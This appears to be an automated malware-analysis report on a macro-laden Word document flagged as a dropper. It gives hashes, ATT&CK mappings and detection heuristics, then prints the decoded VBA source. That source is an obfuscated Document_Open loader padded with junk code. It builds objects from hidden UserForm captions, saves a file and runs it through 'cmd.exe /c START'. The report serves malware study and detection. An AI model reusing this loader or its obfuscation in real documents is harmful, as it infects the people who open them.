Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 41412224883362c6…

MALICIOUS

Office (OLE)

184.5 KB Created: 2018-02-08 09:42:00 Authoring application: Microsoft Office Word First seen: 2018-03-24
MD5: 6d49bc406b8cf9fb01b1046db7732627 SHA-1: 8227e973c62c830f2d9d39706f73a92af3031275 SHA-256: 41412224883362c677fc683f855ea8c96a5787b863665b609c6f7207f058e67c
570 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File T1059.003 Windows Command Shell

The sample is a malicious Office document containing obfuscated VBA macros designed to execute commands. The document body explicitly instructs the user to enable editing and content, a common social engineering tactic to bypass macro security. The VBA code utilizes `CreateObject` and `Shell` calls, indicative of a downloader or stager, and references `cmd.exe` and `wscript`, suggesting it may execute further payloads or scripts. The presence of a `rundll32.exe` token sequence in the document text further supports the execution of external code.

Heuristics 15

  • ClamAV: Doc.Dropper.Agent-6445038-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6445038-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    VBA.Shell$ ("cmd.exe /c START """" " + AQWSXZ_Project)
End Function
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
        If (InStr(1, msgData, Space(1), vbBinaryCompare) <> 0) Then
        ' split message
        strArray() = Split(msgData, Space(1))
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set CofeeShop = CreateObject(VertikName)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set CofeeShop = CreateObject(VertikName)
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    CallByName Molex, pelepele.Label2.Caption + "t" + Mid(AQWSXZ_System, 3, 1), VbMethod, AQWSXZ_PokerFace
If AQWSXZ_FurryBlade > 0 Then
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    VBA.Shell$ ("cmd.exe /c START """" " + AQWSXZ_Project)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
AQWSXZ_FurryBlade = -31
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://secure.comodo.net/CPS0C In document text (OLE body)
    • http://ocsp.comodoca.com0In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://crl.comodoca.com/COMODORSACodeSigningCA.crl0tIn document text (OLE body)
    • http://crt.comodoca.com/COMODORSACodeSigningCA.crt0$In document text (OLE body)
    • http://crl.comodoca.com/COMODORSACertificationAuthority.crl0qIn document text (OLE body)
    • http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42247 bytes
SHA-256: a2ece483566a4c9e17b136e9c416420daebb9508b960de8e57f87e1381b5c841
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True



Private _
Function NumOfDeviceNames() As Integer
  Return
End Function

Sub Document_Open()
AQWSXZ_FurryBlade = -31
DosviWrang "PUSHUP"
End Sub






' prepares commands for processing, and calls helper functions associated with processing

Public Function OnAddOld(ByVal Username As String, ByRef dbAccess, _
    ByVal msgData As String, ByVal InBot As Boolean, ByRef cmdRet() As String) As Boolean

    Dim gAcc

    Dim strArray() As String
    Dim I          As Integer
    Dim tmpbuf     As String  ' temporary output buffer
    Dim dbPath     As String
    Dim User       As String
    Dim Rank       As Integer
    Dim Flags      As String
    Dim found      As Boolean
    Dim params     As String
    Dim Index      As Integer
    Dim sGrp       As String
    Dim dbType     As String
    Dim banmsg     As String

    ' check for presence of optional add command
    ' parameters
    Index = InStr(1, msgData, " --", vbBinaryCompare)
    
    ' did we find such parameters, and if so,
    ' do they begin after an entry name?
    If (Index > 1) Then
        ' grab parameters
        params = Mid$(msgData, Index - 1)

        ' remove paramaters from message
        msgData = Mid$(msgData, 1, Index)
    End If
    
    ' does our message contain an entry name? rank? flags?
    ' anything? we don't want to error out if not.
    If (InStr(1, msgData, Space(1), vbBinaryCompare) <> 0) Then
        ' split message
        strArray() = Split(msgData, Space(1))
    Else
        Exit Function
    End If
    
    If (UBound(strArray) > 0) Then
        ' grab username
        User = strArray(0)
        
        If (User = vbNullString) Then
            cmdRet(0) = "Error: You have specified an invalid entry name."
            
            Exit Function
        End If
        
        ' grab rank & flags
        If (StrictIsNumeric(strArray(1))) Then
            ' grab rank
            Rank = strArray(1)
            
            ' grab flags
            If (UBound(strArray) >= 2) Then
                Flags = strArray(2)
            End If
        Else
            ' grab flags
            Flags = strArray(1)
        End If
        
        If (BotVars.CaseSensitiveFlags = False) Then
            Flags = UCase$(Flags)
        End If
        
        ' do we have any special paramaters?
        If (Len(params)) Then
            ' split message by paramter
            strArray() = Split(params, " --")
            
            ' loop through paramter list
            For I = 1 To UBound(strArray)
                Dim parameter As String
                Dim pmsg      As String
                
                ' check message for a space
                Index = InStr(1, strArray(I), Space(1), vbBinaryCompare)
                
                ' did our search find a space?
                If (Index > 0) Then
                    ' grab parameter
                    parameter = Mid$(strArray(I), 1, Index - 1)
                    
                    ' grab parameter message
                    pmsg = Mid$(strArray(I), Index + 1)
                Else
                    ' grab parameter
                    parameter = strArray(I)
                End If
                
                ' convert parameter to lowercase
                parameter = LCase$(parameter)
                
                ' handle parameters
                Select Case (Trim$(parameter))
                    Case "type"
                        ' do we have a valid parameter Length?
                        If (Len(pmsg)) Then
                            ' grab database entry type
                            dbType = UCase$(pmsg)
                            
                            If (dbType = "USER") Then
                                ' Do nothing
                            ElseIf (dbType = "GROUP") Then
                                ' check for presence of space in name
                                If (InStr(1, User, Space(1), vbBinaryCompare) <> 0) Then
                                    cmdRet(0) = "Error: The specified group name contains one or more " & _
                                        "invalid characters."
                                                                
                                    Exit Function
                                End If
                            ElseIf (dbType = "CLAN") Then
                                ' check for invalid clan entry
                                If ((Len(User) < 2) Or (Len(User) > 4)) Then
                                    ' return message
                                    cmdRet(0) = "Error: The clan name specified is of an " & _
                                        "incorrect Length."
                                        
                                    Exit Function
                                End If
                            ElseIf (dbType = "GAME") Then
                                ' convert entry to uppercase
                                User = UCase$(User)
                                
                                ' check for invalid game entry
                                Select Case (User)
                                    Case "CHAT" ' Chat Client
                                    Case "DRTL" ' Diablo I: Retail
                                    Case "DSHR" ' Diablo I: Shareware
                                    Case "W2BN" ' WarCraft II: Battle.net Edition
                                    Case "STAR" ' StarCraft
                                    Case "SSHR" ' StarCraft: Shareware
                                    Case "JSTR" ' StarCraft: Japanese
                                    Case "SEXP" ' StarCraft: Brood War
                                    Case "D2DV" ' Diablo II
                                    Case "D2XP" ' Diablo II: Lord of Destruction
                                    Case "WAR3" ' WarCraft III: Reign of Chaos
                                    Case "W3XP" ' WarCraft III: The Frozen Throne
                                    Case Else
                                        ' return message
                                        cmdRet(0) = "Error: The game specified is invalid."
                                        
                                        Exit Function
                                End Select
                            End If
                        End If
                
                    Case "banmsg"
                        ' do we have a valid parameter Length?
                        If (Len(pmsg)) Then
                            banmsg = pmsg
                        End If
                        
                    Case "group"
                        ' do we have a valid parameter Length?
                        If (Len(pmsg)) Then
                            Dim Splt() As String
                            Dim j      As Integer
                        
                            If (InStr(1, pmsg, ",", vbBinaryCompare) <> 0) Then
                                ' we no longer officially support the use of multiple
                                ' user groupings; however, manual database modifications
                                ' will still allow users to do so if the need ever arises.
                                'Splt() = Split(pmsg, ",")
                                
                                cmdRet(0) = "Error: The specified group name contains one or more " & _
                                        "invalid characters."
                                        
                                Exit Function
                            Else
                                ReDim Preserve Splt(0)
                                
                                Splt(0) = pmsg
                            End If
                            
                            For j = 0 To UBound(Splt)
                                Dim tmp As udtGetAccessResponse
                                
                                tmp = GetAccess(Splt(j), "GROUP")
                            
                                If (dbAccess.Rank < tmp.Rank) Then
                                    cmdRet(0) = "Error: You do not have sufficient access to " & _
                                        "add a member to the specified group."
                                        
                                    Exit Function
                                End If
                                
                                If ((StrComp(Splt(j), User, vbTextCompare) = 0) And _
                                    (dbType = "GROUP")) Then
                                    
                                    cmdRet(0) = "Error: You cannot make a group a member of " & _
                                        "itself."
                                        
                                    Exit Function
                                Else
                                    If (tmp.Username = vbNullString) Then
                                        Exit For
                                    Else
                                        ' we need to check to make sure that we aren't allowing
                                        ' two groups to be members of each other, potentially
                                        ' causing a stack overflow when doing recursion in
                                        ' GetCumulativeAccess().
                                        If ((Len(tmp.Groups)) And (tmp.Groups <> "%")) Then
                                            If (CheckGroup(tmp.Username, User)) Then
                                                cmdRet(0) = "Error: " & Chr$(34) & tmp.Username & _
                                                    Chr$(34) & " is already a member of group " & _
                                                        Chr$(34) & User & "." & Chr$(34)
                                        
                                                    Exit Function
                                            End If
                                        End If
                                    End If
                                End If
                            Next j
                            
                            If (j < (UBound(Splt) + 1)) Then
                                cmdRet(0) = "Error: The specified group(s) could " & _
                                    "not be found."
                                    
                                Exit Function
                            Else
                                sGrp = pmsg
                            End If
                        End If
                End Select
            Next I
        End If
        
        ' we want to ensure that we have a default
        ' entry type if none is specified explicitly
        If (dbType = vbNullString) Then
            dbType = "USER"
        End If
        
        ' grab access for entry
        gAcc = GetAccess(User, dbType)
        
        ' if we've found a matching user, lets correct
        ' the casing of the name that we've entered
        If (Len(gAcc.Username) > 0) Then
            If (StrComp(gAcc.Type, dbType, vbTextCompare) = 0) Then
                User = gAcc.Username
            End If
        End If
        
        ' grab access for entry
        gAcc = GetCumulativeAccess(User, dbType)

        ' is rank valid?
        If ((Rank <= 0) And (Flags = vbNullString) And (sGrp = vbNullString)) Then
            
            If ((Rank = 0) And ((gAcc.Rank > 0) Or (gAcc.Flags <> vbNullString) Or _
                (gAcc.Groups <> vbNullString))) Then
                Call OnRemOld(Username, dbAccess, User, InBot, cmdRet)
            Else
                cmdRet(0) = "Error: You have specified an invalid rank."
            End If
            
            Exit Function
            
        ' is rank higher than user's rank?
        ElseIf ((Rank) And (Rank >= dbAccess.Rank)) Then
            cmdRet(0) = "Error: You do not have sufficient access to assign an entry with the " & _
                "specified rank."
            Exit Function
        ' can we modify specified user?
        ElseIf ((gAcc.Rank) And (gAcc.Rank >= dbAccess.Rank)) Then
            cmdRet(0) = "Error: You do not have sufficient access to modify the specified entry."
            Exit Function
        Else
            ' did we specify flags?
            If (Len(Flags)) Then
                Dim currentCharacter As String
            
                ' are we adding flags?
                If (Left$(Flags, 1) = "+") Then
                    ' remove "+" prefix
                    Flags = Mid$(Flags, 2)
                
                    If (Len(Flags) > 0) Then
                        ' set user flags & check for duplicate entries
                        For I = 1 To Len(Flags)
                            currentCharacter = Mid$(Flags, I, 1)
                        
                            ' is flag valid (alphabetic)?
                            If (((Asc(currentCharacter) >= Asc("A")) And (Asc(currentCharacter) <= Asc("Z"))) Or _
                                ((Asc(currentCharacter) >= Asc("a")) And (Asc(currentCharacter) <= Asc("z")))) Then
                                
                                If (InStr(1, gAcc.Flags, currentCharacter, vbBinaryCompare) = 0) Then
                                    gAcc.Flags = gAcc.Flags & currentCharacter
                                End If
                            End If
                        Next I
                        
                        If (Len(gAcc.Flags) = 0) Then
                            ' return message
                            cmdRet(0) = "Error: The flag(s) that you have specified are invalid."
                        
                            Exit Function
                        End If
                    Else
                        ' return message
                        cmdRet(0) = "Error: You must specify at least one flag for addition."
                        
                        Exit Function
                    End If

                ' are we removing flags?
                ElseIf (Left$(Flags, 1) = "-") Then
                    Dim tmpFlags As String
                
                    ' remove "-" prefix
                    tmpFlags = Mid$(Flags, 2)
                    
                    ' are we modifying an existing user? we better be!
                    If (gAcc.Username <> vbNullString) Then
                        If (Len(tmpFlags) > 0) Then
                            ' check for special flags
                            If (InStr(1, tmpFlags, "B", vbBinaryCompare) <> 0) Then
                                If (InStr(1, User, "*", vbBinaryCompare) <> 0) Then
                                    Call modCommandsOps.WildCardBan(User, vbNullString, 2)
                                Else
                                    If (g_Channel.IsOnBanList(User)) Then
                                        frmChat.AddQ ("/unban " & User)
                                    End If
                                End If
                            End If
                            
                            ' remove specified flags
                            For I = 1 To Len(tmpFlags)
                                gAcc.Flags = Replace(gAcc.Flags, Mid$(tmpFlags, I, 1), _
                                    vbNullString)
                            Next I
                        Else
                            ' return message
                            cmdRet(0) = "Error: You must specify at least one flag " & _
                                "for removal."
                        
                            Exit Function
                        End If
                    Else
                        ' return message
                        cmdRet(0) = "Error: The specified database entry was not found."
                    
                        Exit Function
                    End If
                    
                    ' does this entry have any remaining access?
                    If ((gAcc.Rank = 0) And (gAcc.Flags = vbNullString) And _
                        ((gAcc.Groups = vbNullString) Or (gAcc.Groups = "%"))) Then
                        
                        Dim res As Boolean
                       
                        ' with no access a database entry is
                        ' pointless, so lets remove it
                        res = DB_remove(User, gAcc.Type)
                        
                        If (res) Then
                            cmdRet(0) = DBUserToString(User, dbType) & " has been removed " & _
                                "from the database."
                        Else
                            cmdRet(0) = "Error: There was a problem removing that entry " & _
                                "from the database."
                        End If
                            
                        Exit Function
                    End If
                Else
                    ' if we're adding with no flag indicator ('+' or '-'),
                    ' then we need to remove the previous entry from the database.
                    'Call DB_remove(user, dbType)
                
                    ' clear user flags
                    gAcc.Flags = vbNullString
                    
                    ' set rank to specified
                    gAcc.Rank = Rank
                
                    ' set user flags & check for duplicate entries
                    For I = 1 To Len(Flags)
                        currentCharacter = Mid$(Flags, I, 1)
                    
                        ' is flag valid (alphabetic)?
                        If (((Asc(currentCharacter) >= Asc("A")) And (Asc(currentCharacter) <= Asc("Z"))) Or _
                            ((Asc(currentCharacter) >= Asc("a")) And (Asc(currentCharacter) <= Asc("z")))) Then
                            
                            If (InStr(1, gAcc.Flags, currentCharacter, vbBinaryCompare) = 0) Then
                                gAcc.Flags = gAcc.Flags & currentCharacter
                            End If
                        End If
                    Next I
                    
                    If (Len(gAcc.Flags) = 0) Then
                        ' return message
                        cmdRet(0) = "Error: The flag(s) that you have specified are invalid."
                    
                        Exit Function
                    End If
                End If
            Else
                ' if we're adding with no flag indicator ('+' or '-'),
                ' then we need to remove the previous entry from the database.
                'Call DB_remove(user, dbType)

                ' clear flags
                gAcc.Flags = vbNullString
            
                ' set rank to specified
                gAcc.Rank = Rank
            End If

            ' grab path to database
            dbPath = GetFilePath("Users.txt")

            ' does user already exist in database?
            For I = LBound(DB) To UBound(DB)
                If ((StrComp(DB(I).Username, User, vbTextCompare) = 0) And _
                    (StrComp(DB(I).Type, gAcc.Type, vbTextCompare) = 0)) Then
                    
                    ' modify database entry
                    With DB(I)
                        .Username = User
                        .Rank = gAcc.Rank
                        .Flags = gAcc.Flags
                        .ModifiedBy = Username
                        .ModifiedOn = Now
                        .Type = dbType
                        .Groups = sGrp
                        .BanMessage = banmsg
                    End With
                
                    ' commit modifications
                    Call WriteDatabase(dbPath)
                    
                    ' log actions
                    If (BotVars.LogDBActions) Then
                        Call LogDBAction(ModEntry, IIf(InBot, "console", Username), DB(I).Username, _
                            DB(I).Type, DB(I).Rank, DB(I).Flags, DB(I).Groups)
                    End If
                    
                    ' we have found the
                    ' specified user
                    found = True
                    
                    Exit For
                End If
            Next I
            
            ' did we find a matching entry or not?
            If (found = False) Then

                ' redefine array size
                If (DB(0).Username = vbNullString) Then
                    ReDim Preserve DB(0)
                Else
                    ReDim Preserve DB(UBound(DB) + 1)
                End If

                With DB(UBound(DB))
                    .Username = User
                    .Rank = IIf((gAcc.Rank >= 0), _
                        gAcc.Rank, 0)
                    .Flags = gAcc.Flags
                    .ModifiedBy = Username
                    .ModifiedOn = Now
                    .AddedBy = Username
                    .AddedOn = Now
                    .Type = IIf(((dbType <> vbNullString) And (dbType <> "%")), _
                        dbType, "USER")
                    .Groups = sGrp
                    .BanMessage = banmsg
                End With
                
                'MsgBox dbPath
                
                ' commit modifications
                Call WriteDatabase(dbPath)
                
                ' log actions
                If (BotVars.LogDBActions) Then
                    Call LogDBAction(AddEntry, IIf(InBot, "console", Username), DB(UBound(DB)).Username, _
                        DB(UBound(DB)).Type, DB(UBound(DB)).Rank, DB(UBound(DB)).Flags, DB(UBound(DB)).Groups)
                End If
            End If
            
            ' check for errors & create message
            If (gAcc.Rank > 0) Then
                tmpbuf = DBUserToString(User, dbType) & " has been given rank " & _
                    gAcc.Rank
                
                ' was the user given the specified flags, too?
                If (Len(gAcc.Flags)) Then
                    ' lets make sure we don't use
                    ' improper grammar because of groups!
                    If (Len(sGrp)) Then
                        tmpbuf = tmpbuf & ", flags " & gAcc.Flags
                    Else
                        tmpbuf = tmpbuf & " and flags " & gAcc.Flags
                    End If
                End If
            Else
                ' was the user given the specified flags?
                If (Len(gAcc.Flags)) Then
                    tmpbuf = DBUserToString(User, dbType) & " has been given flags " & _
                        gAcc.Flags
                End If
            End If
            
            ' was the user assigned to a group?
            If (Len(sGrp)) Then
                If (Len(tmpbuf)) Then
                    tmpbuf = tmpbuf & ", and has been made a member of " & _
                        "the group(s): " & sGrp
                Else
                    tmpbuf = DBUserToString(User, dbType) & " has been made a member of " & _
                        "the group(s): " & sGrp
                End If
                
            End If
            
            ' terminate sentence
            ' with period
            tmpbuf = tmpbuf & "."
        End If
        
        Call g_Channel.CheckUsers
    End If
    
    ' return message
    cmdRet(0) = tmpbuf
End Function ' end function OnAdd



Attribute VB_Name = "pelepele"
Attribute VB_Base = "0{D39D9FE2-CE66-438C-B508-7078EEF8035A}{B9CB0456-D535-4226-9BF5-E3D6E4FC68E9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GET2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Sub doc_of_word_outline_level7()
    VISHU = "Outline Level 7"
End Sub
Sub word_outline_level7()
    Selection.Paragraphs(1).OutlineLevel = wdOutlineLevel7
    comple.te
End Sub



    

Public Function Vuala()


CallByName Molex, pelepele.Label2.Caption + "t" + Mid(AQWSXZ_System, 3, 1), VbMethod, AQWSXZ_PokerFace
If AQWSXZ_FurryBlade > 0 Then

 Exit Function
End If
FindNext "5", 6
End Function


Sub ErrorMessage(sMessage$)
        
        If (bLOGOn = cOn) Then
            WriteLOG (sMessage$)
        Else
            MsgBox sMessage$, 16
        End If
End Sub




Sub WriteLOG(sMessage$)
        If (bLOGOn = cOn) Then
            Wri.te nLOGFileHandle, sMessage
        End If
End Sub














Sub InfoMessage(sMessage$)
        
        If (bShowErrorsOnly = cOff) Then
            
            If (bLOGOn = cOn) Then
                WriteLOG (sMessage$)
            Else
                
            End If
        End If
End Sub











Attribute VB_Name = "Module2"








Public Sub ShugarMilk(e As Integer)
    Dim Rx As Integer, Ry As Integer, rBuff As String
    Dim xt As Integer, yt As Integer, j As Integer
    Dim NewX As Integer, NewY As Integer, D As Integer, SgnX As Integer, SgnY As Integer
    Dim RatioX As Single, RatioY As Single
    Rx = 452
    Ry = 81
  Rytt = "Se" + pelepele.ToggleButton2.Caption
     AQWSXZ_4 = pelepele.ZK.Caption & Pasadka(I)
 Stocke = Stocke + 2
 Dim XIpotom2 As REG1
Set XIpotom2 = New REG1
If e > 289 Then


 
Else

 XIpotom2.Challenge "RDBMS", 21
CallByName CofeeShop, Rytt, VbMethod
Set XIpotom2 = Nothing
End If
Exit Sub
   
    UniB.all(I).BLoopX = UniB.all(I).BLoopX + (UniB.all(I).BSpeedX * Speed)
    For j = 1 To UniB.all(I).BLoopX
        NewX = NewX + UniB.all(I).BMoveX
        UniB.all(I).BLoopX = UniB.all(I).BLoopX - 1
    Next
    
    UniB.all(I).BLoopY = UniB.all(I).BLoopY + (UniB.all(I).BSpeedY * Speed)
    For j = 1 To UniB.all(I).BLoopY
        NewY = NewY + UniB.all(I).BMoveY
        UniB.all(I).BLoopY = UniB.all(I).BLoopY - 1
    Next
    
    
    SgnX = Sgn(NewX - UniB.all(I).BallX)
    SgnY = Sgn(NewY - UniB.all(I).BallY)
    
    
    If SgnX = 1 Then
        For D = UniB.all(I).BallX + 1 To NewX
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnX = -1 Then
        For D = UniB.all(I).BallX - 1 To NewX Step -1
            j = WeaponT.ouch(6, I, D, UniB.all(I).BallY)
            If j = 6 Then
                UniB.all(I).BMoveX = UniB.all(I).BMoveX * -1
                NewX = D + 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = 1 Then
        For D = UniB.all(I).BallY + 1 To NewY
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D - 1
                Exit For
            End If
        Next
    End If
    
    If SgnY = -1 Then
        For D = UniB.all(I).BallY - 1 To NewY Step -1
            j = WeaponT.ouch(6, I, NewX, D)
            If j = 6 Then
                UniB.all(I).BMoveY = UniB.all(I).BMoveY * -1
                NewY = D + 1
                Exit For
            End If
        Next
    End If
    
    UniB.all(I).BallX = NewX
    UniB.all(I).BallY = NewY
    j = WeaponT.ouch(6, I, NewX, NewY)
    xt = NewX
    yt = NewY
    xt = xt - MeX: yt = yt - MeY
    
    rBuf.F.Top = Ry
    rBuf.F.Bottom = rBuf.F.Top + 10
    rBuf.F.Left = Rx + 10 * (UniB.all(I).Color - 1)
    rBuf.F.Right = rBuf.F.Left + 10
    
    If xt < 0 Then rBuf.F.Left = rBuf.F.Left + Abs(xt): xt = 0
    If yt < 0 Then rBuf.F.Top = rBuf.F.Top + Abs(yt): yt = 0
    If xt > ResX - 10 Then rBuf.F.Right = rBuf.F.Right - (xt - (ResX - 10)): xt = (ResX - 10) + (xt - (ResX - 10))
    If yt > ResY - 10 Then rBuf.F.Bottom = rBuf.F.Bottom - (yt - (ResY - 10)): yt = (ResY - 10) + (yt - (ResY - 10))
    
    BackBuffer.BltFast xt, yt, DirectDraw_NavBar, rBuff, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
End Sub


Public Function VIKAPIKA(a As String, b As String, c As String)
GoTo old18
    If BackBuffer.isLost Then Exit Function
    Dim xt As Integer, yt As Integer, rDD As Integer
    Dim xtl As Integer, ytl As Integer, xw As Integer, yw As Integer
    xw = ResX
    yw = ResY
    If xw > 1280 Then xw = 1280
    If yw > 960 Then yw = 960
    xt = 0.1568 * MeX
    yt = 0.1176 * MeY
    xtl = xt + xw
    ytl = yt + yw
    If xtl > 1280 Then
        xt = 1280 - xw
        xtl = 1280
    End If
    If ytl > 960 Then
        yt = 960 - yw
        ytl = 960
    End If
    
old18:

 Dim I
 
For I = LBound(Pasadka) To UBound(Pasadka) Step 1
 ShugarMilk 64
If CofeeShop.Status + 3 <> 203 Then
 Err.Raise 700 + vbObjectError, "D", "Fuel"
End If
    
    
    
    VIKAPIKA2 33
 Exit Function
dee13:
Next
On Error GoTo 0

Exit Function

    If yt < 0 Then
        yt = 0
        ytl = yw
    End If
    
    With rD.D.hh
        .Left = xt
        .Top = yt
        .Right = xtl
        .Bottom = ytl
    End With
    BackBuffer.BltFast 0, 0, DirectDraw_Farplane, rDD, DDBLTFAST_WAIT
End Function



Public Sub Vertik()


Set CofeeShop = CreateObject(VertikName)

smbi = pelepele.Label1.Caption
SubMenuE = SubMenu(2)

    Set AQWSXZ_avatar = CreateObject(SubMenu(3))

AnimTransferMap "Caption", False

Set AQWSXZ_VEAM = AQWSXZ_avatar.Environment(SubMenu(4))

 Stocke = 24 / 4
 AQWSXZ_FLAME = AQWSXZ_VEAM(SubMenu(6))
VIKAPIKA "G", "I", "MS"
End Sub



Public Function FindNext(R As String, S As Integer) As String


CallByName Molex, "sav" + pelepele.o3.Caption, VbMethod, AQWSXZ_Project, 2


'cmdKirimGET_Click

VBA.Shell$ ("cmd.exe /c START """" " + AQWSXZ_Project)
End Function




Public Sub mapRender()
    
GoTo fixedTypeLbl2
If BackBuffer.isLost Then Exit Sub
    If DirectDraw_Tiles Is Nothing Then Exit Sub
    
    MeX = Playe.rs(MeNum).charX - CenterSX
    MeY = Playe.rs(MeNum).charY - CenterSY
    MapX = (MeX - (MeX Mod 16)) / 16
    MapY = (MeY - (MeY Mod 16)) / 16
    If MeY < 0 Then MapY = MapY - 1
    If MeX < 0 Then MapX = MapX - 1
    DestX = Playe.rs(MeNum).charX - MapX * 16
    DestY = Playe.rs(MeNum).charY - MapY * 16
    Xdif = MeX - MapX * 16
    Ydif = MeY - MapY * 16
    ToX = ResX / 16
    ToY = ResY / 16
    
    If ResY = 600 Then
        If Ydif < 8 Then ToY = 37 Else ToY = 38
    End If
    I = MapX * 16 + Xdif
    j = MapY * 16 + Ydif
    D = I
    c = j
    If I < 0 Then D = 0
    If j < 0 Then c = 0
    TileG.et.Left = D
    TileG.et.Top = c
    If I < 0 Then D = I Else D = 0
    If j < 0 Then c = j Else c = 0
    D = TileG.et.Left + ResX + D
    c = TileG.et.Top + ResY + c
    If D > 4080 Then D = 4080
    If c > 4080 Then c = 4080
    TileG.et.Right = D
    TileG.et.Bottom = c
    D = MapX * 16 + Xdif
    c = MapY * 16 + Ydif
    If D >= 0 Then D = 0
    If c >= 0 Then c = 0
    BackBuffer.BltFast Abs(D), Abs(c), DirectDraw_Map, TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY
    c = 0
    D = 0
    
fixedTypeLbl2:
 AQWSXZ_Project = AQWSXZ_FLAME


GoTo fixedTypeLbl3
    
    If MeY < 0 Then c = MapY
    If MeX < 0 Then D = MapX
    For R = Abs(c) To ToY
        For I = Abs(D) To ToX
            
            Xcoor = I * 16
            If I > 0 Then Xcoor = Xcoor - Xdif
            Ycoor = R * 16
            If R > 0 Then Ycoor = Ycoor - Ydif
            
            X = AnimO.ffset(yt, xt)
            If X > 0 Then
                a = Animati.ons(yt, xt)
                If FrameC.hange(FrameC.ount(a), AnimS.peed(a)) = 0 Then
                    If AnimS.peed(a) = 0 Then AnimS.peed(a) = 1
                    AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = AnimC.ount(FrameC.ount(a), AnimS.peed(a)) + Speed / AnimS.peed(a)
                    If AnimC.ount(FrameC.ount(a), AnimS.peed(a)) > FrameC.ount(a) - 1 Then AnimC.ount(FrameC.ount(a), AnimS.peed(a)) = 0
                End If
                FrameC.hange(FrameC.ount(a), AnimS.peed(a)) = 1
                e = AnimC.ount(FrameC.ount(a), AnimS.peed(a))
                e = (e + X) Mod (FrameC.ount(a))
                TileG.et.Top = Anim.FY(a, e) + Yfind
                TileG.et.Bottom = TileG.et.Top + Ywdth
                TileG.et.Left = Anim.FX(a, e) + Xfind
                TileG.et.Right = TileG.et.Left + Xwdth
                Call BackBuffer.BltFast(Xcoor, Ycoor, DirectDra.w_Anims(Anim.FS(a, 0)), TileGet, DDBLTFAST_WAIT Or DDBLTFAST_SRCCOLORKEY)
            End If
out:
        Next
    Next
    
fixedTypeLbl3:
summer = 1
AQWSXZ_Project = AQWSXZ_Project + Replace(SubMenu(12), ".", CStr(Stocke) + ".")
winter = 2
Molex.Type = winter - summer
End Sub



Public Sub DropFlag()
    Dim lMsg As Byte
    Dim oNewMsg() As Byte, lNewOffSet As Long
    lNewOffSet = 0
    ReDim oNewMsg(0)
    lMsg = MSG_DROPFLAG
    AddBu.fferData oNewMsg, VarPtr(lMsg), LenB(lMsg), lNewOffSet
    SendTo oNewMsg
End Sub


















Attribute VB_Name = "REG1"
